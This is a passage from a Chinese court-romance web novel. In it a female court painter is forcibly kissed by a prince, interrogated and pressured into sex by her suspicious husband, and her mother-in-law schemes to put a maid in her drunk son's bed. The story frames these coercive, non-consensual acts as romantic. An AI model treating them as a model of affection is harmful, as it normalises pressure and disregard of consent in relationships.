“谁敢?”韩意淮哼笑了声,“既然见你,我定确保你安危。上回情急抱了你实非迫不得已,你怪我吗?” 他几多无奈,不抱着掩着必然要被御医识破。任几个宫人内侍抱,可他站旁边也洗不脱嫌疑,干脆就坐实了,让御医慢慢猜去吧,反正他这辈子都猜不出。 黄时雨不想再提,“下官不记得,也不会怪什么,只求殿下也忘了。” 韩意淮噎了噎,这是个提上裙子便翻脸不认的坏女人,他早该清楚的,不禁颓然,复又打起精神,“方才你说‘搅乱画署’,是不是闻遇说了什么?” 他现在就去把闻遇的脖子拧断。 “没有。”黄时雨慌忙扯住他袖摆,“没有人在我跟前说什么,可这种事不说比说了更难堪,还要我复述旁人心里怎么想的吗?” 她满眼祈求。 韩意淮垂眸望着她攥紧自己袖摆的葱白小手,低低道:“这事儿怨我,设色场瞒得住所有人却瞒不了闻遇。他知悉此事等同闻大人也知悉。” 他也懊恼那个心急的自己,吓坏了她。 意不意外,肃王居然会站在旁人的角度思考为难的事了。 黄时雨仓惶松开了手,却被他反握住,紧紧地,唬得她泪珠儿在眼眶直打转,忙回眸四顾,唯恐有什么大人物路过。 “闻遇坏得很,他不找你麻烦便罢,倘若说一句难为你的话,我不会放过他。”韩意淮面色寒凉,冷冷道,“自己管不好手下,画署才闹出一堆丑事,德妃也罢,他被爬床也罢,都算他活该,却偏偏见不得我对你好,始终把你想的那么坏!” 怨不得小闻大人的眼神那般不友善,黄时雨自苦一笑,又坚强地抿紧唇角,然而上头私事肃王说得,她说不得,哪里敢应承,却不得不澄清两句。 小闻大人也就罢了,闻大人真真儿无辜。 “闻大人是个才华横溢的女子,难得的端方清正上官,对我多番提携,一向爱护有加,从未因风言风语为难我。”顿了顿,又实话实说道,“小闻大人或许对我有微词,却也从未磋磨我。” 这是怕他私下寻那二人麻烦。韩意淮“嗯”了声,“好,我不做什么。” 黄时雨想抽回两只手,声音都染上哭腔,“不要这样,我害怕。” 他不怕她怒极喝骂,却怕她含泪的一句“我害怕”,像是心脏被人用力绞碎了,痛得痉挛。 韩意淮茫然松开了手。 “别怕,我保证没人瞧见的,禄海也不会乱说话,可是……我想你。”他柔声低语,屈指轻轻弹去她腮畔泪滴,“御医私下向我言明你身子不足,难以受孕。” “所以,可不可以离开简珣?将来,他定会辜负你的。” 黄时雨摇了摇头,“离不离开是我的事,不需要殿下干涉。” “你,是不是怕我趁机强娶?”韩意淮耐着性子解释,“不会的,我若只想得到你的人,还有简珣什么事儿。除非你嫁给皇兄,不然你跟谁在一起都没用。” 她过于天真,一时不了解权利有多黑暗多肮脏。 肃王给她的全是相对善的一面。 只要肃王不谋反,不管做了什么,皇帝对他的处罚莫过于罚俸禁足。 即便闹到杖责又如何,怎么打,打多重谁会知道。 “丐婆被我抓到了,我知道你并不想听,可她留了句话给你。”韩意淮不让她走,捧了她纤薄的双肩,使她不得不面对他。 黄时雨一怔,血色很快褪得干干净净,抬头看他,“我不想听她的事情,若是人还没死,您帮我捎句话给她吧。” “嗯。” “我不知她凭何觉得勉强将我和您凑一起有趣,但她自己觉着有趣的事,却成了我的苦难,一点也不好玩,我恨她。” 那些日夜折磨着她的噩梦,无法对任何人诉说的委屈,瞬间汹涌袭来,彷徨的她终于咧开嘴哭了。 是他不好,好端端为何要提丐婆。 这两个字应该消失在她的生活里。 再与她无关。 韩意淮的喉结上下滑了滑,有些手足无措,不知该怎么做才能令她好受些,唯有携着无尽的思念,默默拥她入怀,一臂揽着她,一手扶住她脆弱的后背,任她发出压抑的哭泣,泪湿他衣襟。 就让这短暂的一刻永远停留吧。 他拥抱着她。 可她清醒得那么快,宛若受惊的小鹿,无措地推拒着。 而他,在这须臾的拥抱里沉沦,再一次迷失,低头寻到了她的唇,久违的熟悉的香腻温软。 他的好,她不想要。 她只一心受简珣的哄骗。 许久,他才缓缓放过她微肿的红唇,仔细地擦干她眼泪,“遇到一个像我这么坏的郎君,真的很抱歉。倘若有什么天罚,定然是降临到我头上。” 第85章 外室 这个猝不及防的吻没有受到太多阻力,因为黄时雨并未过度挣扎。 男女之间力道的巨大悬殊注定不会有结果,倒不如省些力气,护好了斜挎着的那副画儿,以免肢体的抵触损了它。 她抿紧了唇等他结束。 肃王永远不会懂,为了这幅画,乃至为了有资格画这幅画儿她付出了多大的努力。 毕竟他想要什么都唾手可得。 意识到黄时雨不敢乱动的原因,肃王猛然清醒,缓缓松开了钳制。 黄时雨哂笑后退了一步,眉心微蹙道:“我们,这样到底算什么?” 韩意淮回:“算我是你外室。” 失、心、疯。 她以袖擦了擦嘴角,疾步离开。 他默立原地。 辰时,静贵妃如愿见着了生辰的肖像。 比想象的更美,相较从前略显浮夸的表达,黄诏侍笔下的她十分自然。 这是一幅不曾过度美化的静贵妃,却又极其贴近现实中她最美的模样。 一时间竟难说比旁的大画师好还是坏了。 女人都爱美,自是希望一睹天仙似的自己,但真天仙了又根本不像自己。 静贵妃眯眸打量半晌,转而看向神色略微憔悴的黄时雨,“你,胆子倒是挺大,竟将本宫画得如此丰腴。” 黄时雨重新打起精神,让自己振作,上前揖礼抿出一抹笑,款款地道:“可是下官画的是真正的娘娘。娘娘美貌无匹,纤秾合度,腰细腿长。各花有各花的美,娘娘是一朵妍丽无双的胭脂点玉芍药,下官只是如实画了芍药,没有把芍药化成水仙。” 如实画了芍药,没有把芍药化成水仙。静贵妃咀嚼着这句话,忽然就笑了。 小丫头倒是不怕得罪人的。 却偏偏说的又是实话。 贵妃娘娘想要的从来都不只是好看的自己,而是真实又好看的自己。 旁的画师固然能靠着精湛画艺取悦她,可黄诏侍却令她动容。 静贵妃从这幅生辰肖像看见了没那么完美却千真万确美貌的自己。 芍药确实不必非要摆出水仙的姿态。 心腹宫人瞧得出自家娘娘的笑意不同于上一回。 上回的多半为着黄诏侍的夫家门第,这一回却是因为黄诏侍本人。 静贵妃斜倚紫檀木的螺钿炕几抬抬手,慵懒笑道:“赏。” 黄时雨脑中绷紧的弦悄然松了下去,略带忧郁的双眸溢出浅浅笑意。 自是谢恩不迭。 为这趟差事画了个圆满的结局,也添了笔不错的政绩,这亦是她首次侍奉贵人。 回去的路上宫人越来越多,右银台门又是忙碌的一日,韩意淮并未离开,立在她来时的那一侧。 黄时雨两手捧着娘娘的赏赐,并不去看他,唯有盯着前方,朝着画署的方向走去。 她的生活从前窘迫,如今紧迫,没有太多的精力体味爱恨嗔痴,这条路上容不下左顾右盼,唯有一个人一条道儿走到黑,或者白。 下衙的时候出过一段小插曲,极其细微的那种,黄时雨当时并未当回事。 起因是她登上车还不等迈进车厢一个不留神趔趄了下,幸而搀她登车的宝络眼疾手快将她扶稳。 一个立在车上一个立在车下,这样的差距使得宝络清晰嗅到了少奶奶青色官袍上的奇特异香,位于肋骨附近,那不是少奶奶的熏香亦不属于车厢任何一种。 当然也不是肃王的。 即便沾染了微许肃王的熏香也不会持续到下衙还未消散。 宝络嗅到的异香为伽楠香木所留。 黄时雨心神不宁导致险些摔跤,还好有宝络,“你没事吧?” 宝络为了接她,手肘撞上车辕。 “无妨,一点也不痛,倒是少奶奶身上香香的,奴婢接一下,整好借点光。”宝络试探道。 琥珀瞪她一眼,边掀帘伺候黄时雨入内,边道:“油嘴滑舌,少奶奶的官袍从不熏香。” 宝络笑笑不再说话。 作为少爷放在少奶奶身边的“耳目”,若是没点过人之处当然说不通。她的嗅觉不仅比常人敏锐,还识得名贵又稀有的伽楠香木。 也正因稀有奇特的缘故,闻过一次就再不会忘。 合该黄时雨倒霉,随便换个丫鬟都不会注意到,因为太淡了。 官衙当然不会有伽楠香木,但出身不凡的官员身上或许会有此类熏香。 想到这个可能,宝络立时一五一十回禀少爷。 这才是她的正经差事。 伽楠香木? 简府整好有一盒,不过从未开封。 因是御赐贡品,更适合供起来,倒也不是不能用,而是简夫人、简珣包括黄时雨在内都不是张扬之人。 那画署有这么张扬的世家子弟么? 简珣想了一圈,确定没有。 可在画署也不是接触不到此香,譬如正三品往上镶嵌伽楠香木的带銙。 根据梅娘衣袍所染的位置不难推断腰带主人的大致身高,包括他们用了什么姿势。 从香气推断,怕是抱了好一阵子。 但凡她真心抗拒,官衙重地,奸夫就没法儿用强抱太久便也不至于沾染。 简珣深吸一口气,缓缓靠在椅背上,比扎了绿头巾更痛得是梅娘的不反抗,如同接受了他一般也接受了奸夫。 有权有势世家子弟,年轻的大画师,俊美高大,再加上正三品以上带銙,奸夫的样貌几乎瞬间就完整了。 再没有比闻遇更吻合的。 早该想到的。简珣凉笑。 也或许早就想到了,只是不愿意相信吧,直到此刻铁证如山。 这对奸夫……恶妇!想必从去年试炼开始勾搭。 梅娘貌美,闻遇极有可能垂涎她美色,二人又差着七岁,以她的脑袋怎可能是闻遇对手,婚前便有了首尾,闻家断不会娶她过门。 难为二人在济恩寺做张做智,佯装不熟。 原来不是不熟,是藕断丝连。 成,黄二,你有种。 是闻遇的话,倒也理解她为何咬死不敢说。 谁能比她的仕途与画道重要。 有这么一位功成名就的情郎半推半就着,未来不可限量。 这日黄时雨下衙后心情低落,便没去书房,掌灯时分丫鬟来禀少爷还在书房,请她不必等候,自行安歇。 黄时雨早就躺在被窝昏昏欲睡,“嗯”了声,“我知道了。” 丫鬟福身告退。 次日旬假黄时雨照常请安,陪程氏用膳,也没见着简珣身影,不过这也不是什么稀奇事儿,翰林院常常涉及机要,听说朝堂出了点事,皇帝身边离不开人,召翰林院当值在所难免,那么简珣忙碌也很正常。 午后终于抽出空闲回书房作画,她才见到了简珣。 原来他也在书房。 “咦,今日……你一直在府中?”黄时雨不免讶异。 书房还有个面生的下人,碰见她躬了躬身便急匆匆退下。 简珣闻言,回身撇向她,竟有那么一丝锋利,她晃了晃神,又仿佛眼花。 “这个月画阁有一场陈列会,你想不想去?”他不答反问。 “不了。”黄时雨在画署也能见识不少真迹,又何必去看这些花了钱还不定能买到的,“我要准备六月份的考核。” 简珣眉峰微扬,“自从买了简帖竟才陪你去过一次画阁,我拢共也就去过那么一次,你呢,去过几次?” 黄时雨想了想,“我倒是去过几次,奉命而行,随侍闻大人。” 简珣“哦”了一声,“画署的女官就是不一样,连进出画阁都比旁人来得容易。” 黄时雨不解地看向他。 简珣就笑了,抬眸温和问:“那,这个月,你有没有去?” 初五去过,闻大人为她开的小灶,明令禁止宣扬的。黄时雨不假思索地说了句没有。 简珣的笑意就一点一点褪去。 真想查她踪迹也不是很难,特别是当值的功夫去了哪里。 画署的车夫嘴巴可没那么严实。 初五分明在画阁,却睁着眼睛说瞎话。 这是个撒谎成精的东西。 不仅如此,他还查到闻遇早就在藏画楼为她授过课,好好好,简珣闭目稳了稳心绪。 梅娘的能耐大着呢。 连闻遇都使唤得动。 “阿珣,你没事吧?”黄时雨探了探他额头,总觉得他神色不对劲。 简珣挥开她,正色道:“我没事儿。” 看起来也不像生气。黄时雨在心里狐疑。 以她的道行,简珣不放水的话,还真参不透。 简珣气得天塌地陷,硬是强忍才未泄露半分,整理好情绪,他才招招手将黄时雨拉到跟前,一个站着一个坐着。 “梅娘,你觉得我待你如何?” “你有话便直接说吧,我脑筋没你转得快,也不想同你打什么哑谜,你不必在我身上使心机。”黄时雨直言不讳。 简珣眨了眨眼睛,将她拉进怀中,柔声道:“我连句话也不能说了吗,怎么吃了炮仗似的。” 黄时雨登时凝噎,支吾道:“我没有。” 默然片刻,他忽然轻轻道:“昨晚我做了个噩梦,心里很不踏实。” 黄时雨顿时羞愧不已,愧疚自己对他的关心不够,还言语多有不逊,“梦,都是假的。说出来就会好受很多,你说给我听吧。” 等的就是她这句。 简珣为难道:“我不敢,你定会先发制人,不依不饶,说不定还要恶人先告状。我还是闷在心里,一个人沉淀吧。” “我没你说的这么遭。”黄时雨垂眸道。 “好,算我小人之心,梅娘是个光明磊落的。”简珣似笑非笑,轻轻抚摸着她柔软青丝,淡然说起了她给予他的“噩梦”。 “我梦见你与那人至今藕断丝连,鸿雁传书,多么伤人。明知是假的,醒来我还是特别难受,就一个人静静坐在书房,想了许多的事。”他怀中的梅娘渐渐从柔软止不住地僵硬,脸色益发不自在。 简珣亲了亲她粉腮,在她耳畔低声道:“梅娘,你们早就没了来往,对吗?” 黄时雨忍不住抖了抖,竭力镇定摇头。 “我就知道梅娘最好了。怎会做出瞒着亲夫与其他男人不检点之事。” 他将她抱于书案,漫然解着她的衣衫,“除了迫不得已的那回,梅娘就只有我,对不对?” 昨日,朗朗乾坤下,肃王抱着她唇舌纠缠的画面历历在目。黄时雨忽然用手背盖住眼眸,哭道:“是,我只有你!” 后面的话被他吞没。 守在书房外的丫鬟吓了一跳,隐约听见屋里传来隐晦的声音,连忙回身退到了廊下。 第86章 不忍 其实简珣这个人也没有想象的超群绝伦,从容不迫,反而有着男人最直白的欲念,当他觉得无法掌控某些事,就想通过她的身体来掌控什么,哪怕他努力维持着冷静自若,克己复礼。 黄时雨锁着眉任由自己如同漂泊的孤舟,在海浪中颠荡流离。 当初那个青涩又稚气的花骨朵早就被他雕琢成了盛开的海棠,适应着他接纳着他。 不接纳也没关系,他总有法子迫使她绽放。 方才脑子懵懵的,黄时雨尚未觉知他发什么邪火,待他结束了,伏在她身上沉重地喘息,她的脑子竟出奇清晰了。 他又在扯她的旧账。 昨日宫城甬道无人角落的事他也能知? 显然,超出了范围,除非他是逆臣贼子,否则有何能力在宫城手眼通天? 简珣不意才将将结束,梅娘就手脚并用推开他。 她忍着不适爬起,一骨碌蹦下地,可惜终究高估了自己的实力,双脚甫一着地,酸软的两腿便不争气地跪了下去。 “起来。”简珣用力拎起她。 黄时雨踉跄两步倒在他怀中。 简珣顿了顿,横抱起她走进了暖阁,唯有身处寝卧之地,她才有安全感,才不会那般难堪与惊慌。 黄时雨把自己缩进柔软的丝绸被窝,总算觉得好受了一些。 两个人寥寥对视一眼,她又调开了视线。 他一言不发,默然望定她。 “初五,你到底去没去画阁?”简珣面无表情问。 “去过。”黄时雨面色微白,低下脸承认了,“闻大人带我去的,借着某些你也懂的便宜迫使小闻大人为我授课半日。这事儿不光彩,闻大人又是为了我,你能不能不要再提。” 简珣皱着眉笑道:“这么点事为何一开始不直说?” “我说了不光彩,闻大人上衙期间为了我才如此,你是不是听不懂人话?” 他目光微冷,提醒道:“你在对我大呼小叫。” “奸夫”官阶大的人翅膀就是硬。 “是你不依不饶在先。”黄时雨扭过脸,甩开他捏自己下巴的手指。 “成,初五的事先放一放,敢问黄大人昨天干嘛呢?可别告诉我一整天都在勤勤恳恳办差,这话说出来黄大人不心虚么……”简珣温柔地撩起她一寸青丝。 黄时雨拥紧了丝被,听见自己牙齿打颤的声音。 “伽楠香木经久留香,你被一个束着镶嵌此物带銙的男人抱那么久,官袍都腌入味儿了,这便是你每日上衙要办的差?不会是像我们方才那样吧,到底是你在办差还是他在办你?”简珣眼里闪着幽暗的光,不疾不徐启音,“难不成我一个人还喂不饱你?” 黄时雨撑着半边身子坐起,白着脸梗着脖子,仿佛被人戳到了短处。 简珣却以为她没听懂,贴心地多描补了一句,“正三品往上带銙皆饰有伽楠香木,你素日又爱盯着官阶,那人品级如此高,心里是不是很受用?” “你,血口喷人……”明明她没有错,却发现一丝力气都使不出,黄时雨灰心的脸上布满了失意。 “我血口喷人?”简珣扣住她后脑勺,迫使她与自己正面相对,视线交抵,“那你以自己的画道发誓,昨儿你与他没有抱在一处,也没有发生什么!” 黄时雨果然哑口无言,努力瞪大的眼眸里盈盈光点,蓄满了泪意。 简珣深吸一口气,低柔笑道:“这期间,哪怕你认真抗拒一下,那人应该也不敢抱你那么久吧?今儿教你个乖,没那个瞒天过海的本领就别在我脸上偷人!” “我偷谁了?”黄时雨一动不动,任由他拿着。 “闻遇。” “……”黄时雨沉默片刻,廖然笑了笑,“你要非这么栽赃,我也不是不能去试试。” “不是他?”简珣满目愕然,梅娘的反应骗不了他。 “简允璋,我知道你瞧不起我,在你眼里我就是个失贞不守妇道的女子。还有么?我挨个试,给你坐实,你就不用整天疑神疑鬼。”黄时雨喃喃道。 简珣摇了摇头,“我没有,你不要冤枉我!” “那你为何要冤枉我?” “冤枉?除了猜错名字,我还说错什么?”简珣气急而笑,“你倒是给我说道说道,是误会你们昨天搂搂抱抱还是误会有肌肤之亲?” 黄时雨再次哑口无言,微微颤动的嘴唇几度翕合,却化成了漫长的沉默。 简珣唯恐她脸面过不去真用破罐子破摔的招数,不禁懊恼,想要抱一下她,却被无情推开。 引以为傲的道行终于碎了满地,他怒道:“你是我明媒正娶的女人,怎么他能碰,我就碰不得?” 含酸拈醋并不能换回她的心意,但是可以换一个大耳刮。 把个简珣的脸颊都打偏了。 他难以置信捂着自己的侧脸。 黄时雨觉得打人的那只手隐隐作痛,麻麻的,好几次都没法儿抬起,本就断了根带子的主腰无论如何也穿不好,干脆砸在简珣身上,不穿了。 她胡乱整了整,勉强维持外表的体面,踉踉跄跄走到了暖阁门口,复又回身望他,“我这么糟糕,你也一直不开心,何必还要忍受,不若早些把我休了吧。公主总不能强迫你辞官做驸马对不对?休了我,趁年轻找个干净的姑娘。” 这番话憋在心里一直没有说。 如今温着声音,和缓说了出口,心底似乎也没那么痛了。 简珣咽了咽,眸中尚有还未褪净的浅浅怒意,却被汹涌的惊慌席卷了,“你想得美!就算把你休了我也是个成过亲的郎君,根本不会有干净体面的姑娘嫁给我。没有你,我,我娶不到媳妇了……” 黄时雨怔怔道:“你在说笑吗?就凭你的门第找不到媳妇。” “找不到!”他怒然拔高了声音,迎上她如水的眼眸,整个人忽然就僵了,虚弱不已,“不要以为我真离不开你,还不是因为像你这么漂亮又懂事的姑娘太少了。人家那么好断不会跟被你祸害过的郎君,你糟蹋了我,休想脱身一了百了。” “蕊珠不就很漂亮,不比我差,也比我懂事,你把她抬了,就不用时时惦记在我这里吃过亏。”黄时雨倒没有赌气,实话实说。 她有过别的男人,而他多有几个女人,应该就再没借口找她麻烦了。 简珣望着她的目光霎时复杂难辨,连神情都有些扭曲了,颤声道:“我不喜欢贱籍,我要像你这样的女官。” 也不知黄时雨有没有相信他的鬼话,只茫茫然蹙了眉心,转过头一步一步走回上房。 简允璋又挑剔,事儿又多。 少爷与少奶奶吵架了。 从前都是床头吵架床尾和,这次却有些不大一样。 少爷宿在了书房,一连半个月都不见二人和好。 月底少爷没坚持住,假装路过上房,回回当着少奶奶的面儿路过,可惜没捞着脸面,愣是路过了七八回也未能盼来少奶奶一个台阶。 梅娘不给他台阶下。 简珣也是硬气了一回,真就没有主动进上房。 凭什么每次都是他向她低头。 凭什么她跟别的男人不检点,还不准他大声说句话,说了便恶人先告状,冷落他。 不二梅斋的几个近身丫鬟洞察了一切,益发屏息敛神,尤其当着曹妈妈与孙妈妈的面,不敢泄露半分。 夫人本就因为小两口留在了京师,梅斋的丫鬟各个心知肚明,谁敢在这种时候说错话办错事,万一挑起夫人与少奶奶事端,少爷断不会容人的。 她们在梅斋当差,自然得守着少爷的规矩。 话说两位妈妈,是夫人的人不假,可也十分清楚自己的身份,以及这个府邸未来谁当家,断然不好无视眉眼高低告去夫人的清苑。 眼下唯有走一步算一步,小心哄着,毕竟是小两口,闹个把月脸子总会好的,让长辈掺和进去才麻烦呢。 黄时雨并没有故意冷落简珣。 在她眼中,脚下的土地每一寸都是他的,就连她的人也是他的,他有权出入任何地方,也有权对她做任何事。 只没想到他全然恼了她,厌恶如斯,默然划清了界限,一个上房一个书房,每日上衙也不再同乘。 起初她深感不知所措,微微慌乱,后来不知不觉习惯了。 偶尔相遇,她顾念旧时情谊,试图说句缓和的话,谁知才打一声招呼,就被他冷若冰霜的眼神瞪回去。 她也是头一回见识到简珣的锋利与森冷,不知该如何应对。 唯有当着婆母的面,简珣才正常。 弄得她都有些迷糊了,手忙脚乱配合着。 度过最初的无措,黄时雨把注意力重新放在了画署,又给自己在上房置办了一间小书房,倒也轻松自在。 端午节后姐姐随同市舶使的曲大人赶往清宁县,姐妹二人约好明年一定相见,就此依依惜别。 夫妻失和这种事长久下去不是办法,也不可能完全瞒得住长辈。 尤其简珣整个人明显瘦了一圈,神色怏怏,终于引起了程氏注意。 时间已经来到了六月初,黄时雨的肚子还是没动静。 程氏想不注意都难。 好在梅斋的下人心齐,并未说漏了嘴。 付妈妈和曹妈妈几番纠结,欲言又止。 黄时雨知道再这样下去终会露馅,连忙亲自去了趟书房求和,不意简珣不在。 虽然怀疑这是闭门羹,可她没有证据。 铩羽而归。 没想到,是夜简珣就来了。 黄时雨讪讪然,不过还是诚恳地道了谢,毕竟被婆母知晓不好过的人只会是她。 简珣在如此厌恶她的情况下依然出手相助,属实大气。 “你,你若是不愿意,我可以睡外面榻上……”她讨好道。 大气的简珣翻过身背对她一言不发。 这是愿意还是不愿意?她犯了难,试着往床沿挪,却被他抬手扯了回去。 黄时雨吓得一动也不敢动。 简珣冷笑,“你不想看见我便直说,我也不是非要赖在黄大人床上的。” “你误会了,我是不想打扰你。”黄时雨耐着性子解释。 一男一女共处一室,简珣的骨气本来也没多硬,如今挨到了日思夜想的人,再硬的骨头也碎了。 他垂眸,抓着她一动不动。 黄时雨有些紧张,怀疑他动了欲念。 黑夜里,安静良久,她惊呼一声,被他拥着倒进了凉簟。 感受到她的惊慌,简珣就心软了,本来也不忍吓到她。 他竭力轻柔缓慢些,不让她难受。 原以为这样的相融,会让他能再次离她的心脏近一些,可她只会小声地催着他快一些吧,快一些吧。 他真快了,她又哭着摇首:“不,不,不是这样的。” 他明知故问:“那是哪样?” 她泪盈于睫望着他,祈求道:“快些结束好不好……” 分别的太久,她又开始不适应他的存在。 简珣噙住了她的呜咽,碾转着,疼爱着,迫使她不得不重新适应他的存在。 次日,黄时雨颓然钻进马车,只想逃离简府,快些上衙,谁知简珣得寸进尺,竟登上了她的马车。 两人一个冷若冰霜,一个战战兢兢。 幸而月事如期降临,当晚,简珣吃到了合乎礼法的闭门羹。 他悻悻然立在冰冷的阶上,背影萧萧索索。 第87章 原谅 还没出末伏的夏夜,热气被荷塘碧波化解了大半,清风徐徐。 简珣杵在原地。 原本好好的,都让他进了屋,却因为他又问了句“那人到底是谁”,气氛急转直下。 黄时雨没有直接回答,却忽然道:“我来了月事,今晚不能服侍你。” 他定定望着她,“我何曾让你服侍了。” 可她有月事,像是拿到了“免死金牌”,坚持赶他走。 简珣听见了声若蚊吟的一句“你就当他死了,你要同死人计较么”。 死了的人影响不了活人什么。 梅斋上房的园子固然凉快,可再凉快也比不得堆放两大缸冰块的寝卧,最难受的莫过于蚊虫叮咬。 素秋劝了两句,少爷却益发沉默了,只好命小丫鬟在四周点上具有驱蚊功效的熏香,又亲自打着扇儿。 上个月她才成的亲,原本已经轮不到做这些,可新升任的丫鬟在主子跟前的脸面尚浅,脑筋一转就求到了她这里。 继素秋白露后简珣身边的一等丫鬟除了伶俐能干还特别本分,样貌更是一个比一个普通,也不知少爷在给少奶奶献什么哑殷勤。 黄时雨透过朦胧的纱屉子,望着月色下的简珣,宛如雪浪石峰的一株青松,良久,她才收回目光。 有时候,她挺希望他对她也薄情一些,善良且薄情着。 六月份忙忙碌碌,光是画艺考核就闹得人心惶惶。 朝廷为免画师滥竽充数混日子,略加修改今年的赏罚措施,末等不仅要减一成俸禄还将失去次年报名离京采风的资格。 离京采风基本就是为皇帝或太后办差,再不济也是为皇后,相当于外调攒资历的文官,一旦熬到回京,轻则加俸重则升官,履历更是添上了光鲜一笔。 然而外调文官通常五年起步,采风却最多不超五年,相较而言,算得上官场最为便利且不耗时的升迁途径,众人趋之若鹜自不必说。 用闻大人的话来讲,黄诏侍铁定是祖坟冒青烟,今年鸿运当头,飞升六品,倘若明年再选进离京采风,归来怕是要成为画署有史以来最年轻的五品女官。 搁在宫里便是个大姑姑了,太后身边商姑姑那种级别的。 人呐,除了要有实力,还真得需要些玄妙气运。 一席话说得黄时雨心里仿佛鼓满海风的帆扬起了。 廿三这日画署旬会。 作为官衔资历皆低的小诏侍,黄时雨并不能次次参与,偶需要帮忙打下手,闻大人才会召她。 她是个温顺又会看眼色行事的,每回坐在闻大人身后不声不响,存录却比旁人记的清晰又明了。 消失了个把月的小闻大人,忽然到访画署,彼时旬会才将将结束,周遭一众官员立时迎了上去。 黄时雨后退,贴墙而立。 世上哪有不想在上官跟前表现的,不是她不想凑过去显弄两下,而是阿珣疑心重,即便已排除小闻大人,却实打实怀疑过,那么内心深处定然也认同了这种可能。 乱七八糟的她,不想再牵连无辜。 闻遇的目光穿过人群,遥遥看了过来。 黄时雨左顾右盼没发现什么,复又困惑地觑向他。 闻遇深深看她一眼,调开视线,转身大步流星迈入隔壁。 黄时雨松了口气。 作为一名知情识趣之人,简珣明知有程氏在,黄时雨断不敢明目张胆冷落他,更不会懒于侍奉床帏,却还是给她行了方便,尽量减少纠缠,任她全身心投入画署的考核。 实在想得难以入睡,才厚颜去上房抱一抱她共眠,也能借机使她早点儿怀上孩子。 那日梅娘请求下堂,他登时醒悟了。 今非昔比的姑娘,拥有足够坚硬的翅膀,背后还有个位高权重的情郎,纵使离开他亦能在京师活个明明白白。 她,不再需要他。 锦绣成堆的京师,优秀的郎君也成堆,而梅娘早就不再是泽禾娇怯无知的小丫头,见识到更好的,自会不甘当初白白便宜他。 且说这个黄时雨,固然勤奋刻苦,然而围着官场打转的儿媳满京师怕也只有程氏容得下。 别看闻道芝闻大人威风凛凛,所到之处无不敬重,可要私下问各家诰命想不想要闻大人这样的儿媳,断然没有,否则闻大人也不会守了二十年寡。 然而程氏的容忍也不是没有底线的。 这个底线便是简珣与子嗣,倘若知晓黄时雨隔三差五才与简珣同房一次,简府的天真能塌下来。 不过夫妻之事,只要丈夫容得下,下面的人谁敢置喙。 程氏也不那种天天盯着儿媳床笫之人,倒还真被隐瞒个密不透风。她唯一纳闷的是都七月了,儿媳肚子怎还没有动静。 官场得意,情场往往极大可能失意。 这话用在黄时雨身上再恰当不过。 她顺利通过了考核,却也发现自己与简珣再也无法像从前那般亲密无间。 简珣的心思很深,本就对她心存芥蒂,自从四月份大吵一架,两人就有了裂痕,直至六月“和好”,也是一种对于现实的无奈妥协。 人生在世,不可能事事顺心做自己,都有着一定的身份,维护这个身份做好分内之事才是立世根本。 黄时雨的立世根本是做一名好儿媳好妻子,简珣则是光耀门楣,守护母亲妻子,传宗接代。 所以他们必须和好,时不时同床共枕,一齐努力。 这是一种疏离的和好。 简珣不再痴迷于她的身体,也可能是心冷成灰也可能是有了新欢,这些黄时雨无从得知,遗憾之余却也没有太多意外。 她与他迟早都是这样,只不过这一日来的比预期的早。 这一年临近中秋,付妈妈发现黄时雨还是没有身孕。 少奶奶生辰月份大,眼看就要十八岁,月事也调理的比从前规律,单从表面看相当健康,却在少爷仅有她一个的情况下,一点动静都没有。 二人同房次数实则不少。 情况怕是比此前认为的还严重。 倒也不是不能生,而是可能要再等若干年。 等得越久,人生的变数便越多。 程氏心乱如麻。 阿珣从来都是目光长远,居安思危,十五岁起,便意识到子嗣对于宣道坊的重要性,况且,他本就是极为正常的男孩子,许多想法与大部分男人无异,这体现在他对鸢娘一见倾心,也对程氏安排的通房极为满意上。 虽说还未给通房开脸,但程氏坚信阿珣不讨厌蕊珠,甚至有些儿喜欢的,单纯的男人对女人感兴趣的喜欢,只可惜喜新厌旧,在得到梅娘之后,他的魂儿就被拘了,哪里还顾得上其他。 如今程氏不敢肯定阿珣是否还喜欢蕊珠,但也没见他对其他女人感兴趣,因此,蕊珠依然是一个极有可能令他心生怜爱的有力人选。 主要是太像了。 蕊珠的娇柔以及懂事,包括身世都与梅娘大差不离。 唯一不同的是梅娘有阿珣几近无底线的宠爱与呵护。 这一点,蕊珠望尘莫及。 清苑上房,曹妈妈一面为程氏打着扇,一面以袖抹了抹额头的汗,心中七上八下。 程氏神色沉重淡漠,“我若是如此安排了,你说,梅娘会不会在背后磋磨阿珣?” 这哪里是曹妈妈好接的话,她讪讪然,一脑门汗。 不管承不承认,少爷被少奶奶“玩弄于股掌之间”是不争的事实。 而他不敢纳妾碰通房,多半还是惧内。 如若有不得已的外力轻轻推一把,事情或许还有转机。 且这件事没法儿再拖。 因为舫西那边的年轻管事即将动身入京,鬼迷心窍的少爷要把蕊珠嫁予其中一人。 彻底斩断所有可能。 倘若连蕊珠都不行,以后怕是再难有人能入他的眼。 程氏没想到曹妈妈这么怵简珣,不由暗笑。 这些年,自己调理的人,在阿珣身边待上些时日皆如此。 他是个会拿捏人心的,怎就在梅娘跟前立不起呢? 中秋佳节,举凡在京的简氏族人照旧在盛平坊安国公府度过。 从前简珣还未入仕,年纪又最小,旁人很难把他当大人对待,但现在的他,作为一个从五品伴君的侍讲学士,令人生畏,有了畏就不再是小郎君,而是同大家一样的大人。 素日就不擅饮酒的简珣与几位堂兄喝了酩酊大醉。 一众老安人、夫人、奶奶们则在桂园听曲,言笑晏晏,好不热闹。 估摸简珣醉的差不多,程氏才命人架着他回府。 不醉也没关系,回府了自会再请他陪自己小酌。 目下是不用小酌了。 黄时雨回府后就被曹妈妈拦了下来,说少爷已经在书房喝过解酒汤歇下了。 “阿珣有没有吐过?郎中可来看过?”黄时雨不疑有他,仅仅是不放心。 曹妈妈垂着脸温声回:“少奶奶且放宽心,夫人亲自安排的,还有两个丫鬟值夜,定不会出纰漏。” 黄时雨朝书房的方向望了一眼,蹙眉返了回去。 书房内,蕊珠跪在地上浑身发抖,哭道:“夫人,奴婢不敢,少爷不会疼奴婢的,万一惹恼了少奶奶,奴婢就没法活了。” 程氏慢慢抬眼,默然片刻才问:“你是不敢还是不想?” 蕊珠蓦地凝噎,静静垂泪。 程氏了然,笑了笑,“原来不是不想只是不敢。这样吧,我保你事后安然无虞,一辈子富贵,剩下的就靠你自己了,若能让少爷怜爱三分,便是你的大造化,我不说你也明白吧。” 蕊珠死死咬着下唇,明明害怕到发抖,却到底是心动了…… 程氏见她不答,便道:“我给你一盏茶时间考虑,一盏茶后若还不愿便自行离开,我自然有其他丫头顶上。” 